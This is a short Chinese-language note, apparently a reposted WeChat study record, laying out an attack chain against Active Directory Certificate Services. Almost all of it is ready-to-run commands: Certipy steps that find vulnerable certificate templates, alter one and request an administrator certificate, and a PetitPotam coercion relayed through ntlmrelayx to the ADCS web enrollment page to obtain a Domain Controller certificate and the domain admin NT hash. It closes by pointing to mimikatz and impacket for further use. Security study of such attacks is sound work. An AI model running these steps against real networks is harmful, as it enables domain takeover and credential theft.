https://github.com/ly4k/Certipy
https://github.com/gentilkiwi/mimikatz
https://github.com/fortra/impacket/
net group "Domain Admins" /domain
net group "Domain controllers" /domain
certipy find -dc-ip 1.1.1.1 -u xxxxxx -p xxxxxx -vulnerable
certipy template -username xxxxxx -password xxxxxx -template xxxx -dc-ip 1.1.1.1 -save-old
certipy req -u xxxxxx.com -p xxxxxx -target 1.1.1.1 -ca xxxx-CA -template xxxx -upn administrator.com
certipy auth -pfx administrator.pfx -dc-ip 1.1.1.1 -debug
http://x.x.x.x/certsrv/certfnsh.asp
poc-yaml-active-directory-certsrv-detect
利用PetitPotam对域控进行强制认证漏洞攻击,让域控向本地攻击机进行认证,攻击机监听收到来自域控服务器的NTML认证,使用中继攻击向ADCS的web服务申请DomainController证书,用申请的证书获取Kerberos票据,将自身伪装为高权限账户
1)使用impacket工具包的ntlmrelayx.py监听
python ntlmrelayx.py -t http://adcs/certsrv/certfnsh.asp -smb2support --adcs --template 'Domain Controller'
2)使用打印机漏洞,触发PetitPotam,使用工具:https://github.com/topotam/PetitPotam
python PetitPotam.py -u '' -d '' -p '' 攻击机ip 辅域_ip
3)对回连返回的base64的证书放入123.txt,解码保存至ad.pfx
cat 123.txt| base64 -d > ad.pfx
4)通过域管证书拿到域管理员nt hash
certipy auth -pfx ad.pfx -dc-ip 1.1.1.1 -debug
5) 拿到域管hash ,即可借助impacket、mimkatz工具执行命令、远程登录做进一步利用
原文始发于微信公众号(舒克的freestyle):ADCS学习记录
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论